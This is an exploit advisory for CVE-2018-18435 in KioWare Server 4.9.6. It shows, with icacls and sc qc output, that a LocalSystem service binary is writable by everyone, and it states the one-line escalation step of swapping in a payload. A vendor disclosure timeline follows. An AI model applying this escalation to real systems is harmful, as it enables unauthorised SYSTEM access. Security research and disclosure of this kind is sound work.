KioWare Server Version 4.9.6 - Weak Folder Permissions Privilege Escalation

# Exploit Title      : KioWare Server Version 4.9.6 - Weak Folder Permissions Privilege Escalation
# Date               : 10/12/2018
# Exploit Author     : Hashim Jawad - @ihack4falafel
# Vendor Homepage    : https://www.kioware.com/
# Tested on          : Windows Server 2016 Standard (x64)
# CVE                : CVE-2018-18435

Description:
============
KioWare Server version 4.9.6 and older installs by default to "C:\kioware_com" with weak folder permissions granting any user full permission "Everyone: (F)" to the contents of the directory and it's sub-folders. In addition, the program installs a service called "KWSService" which runs as "Localsystem", this will allow any user to escalate privileges to "NT AUTHORITY\SYSTEM" by substituting the service's binary with a malicious one.

Proof:
======
C:\>icacls c:\kioware_com
C:\kioware_com Everyone:(OI)(CI)(F)
               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
               BUILTIN\Administrators:(I)(OI)(CI)(F)
               BUILTIN\Users:(I)(OI)(CI)(RX)
               BUILTIN\Users:(I)(CI)(AD)
               BUILTIN\Users:(I)(CI)(WD)
               CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>sc qc KWSService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: KWSService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\kioware_com\KWSS.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : KWS Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>icacls C:\kioware_com\KWSS.exe
C:\kioware_com\KWSS.exe Everyone:(I)(F)
                        NT AUTHORITY\SYSTEM:(I)(F)
                        BUILTIN\Administrators:(I)(F)
                        BUILTIN\Users:(I)(RX)
                        WIN-ONKVVSNUHKV\test:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>

Exploit:
========
Simply replace "KWSS.exe" with your preferred payload and wait for execution upon reboot.

# Disclosure Timeline:
# ====================
# 10-13-18: Contacted vendor
# 10-15-18: Vendor requested full report and POC
# 10-15-18: Full report and POC sent
# 10-16-18: Vendor was able to reproduce/validate the issue and filed a feature request
# 10-16-18: Asked vendor to provide timeline for patch
# 10-16-18: Requested CVE ID 
# 10-17-18: CVE-2018-18435 assigned 
# 10-17-18: Vendor requested 90 days timeline to patch/QA test
# 12-20-18: Vendor sent patch and requested feedback
# 12-22-18: Suggestions/modifications sent to Vendor
# 12-24-18: Vendor sent new patch and requested feedback
# 12-25-18: New Suggestions/modifications sent to Vendor
# 12-26-18: Vendor sent new patch and requested feedback
# 12-27-18: Vendor was notified that the latest patch is sufficient
# 12-31-18: Vendor released new version (v4.9.9) and patch as well
# 01-07-19: Vulnerability has been made public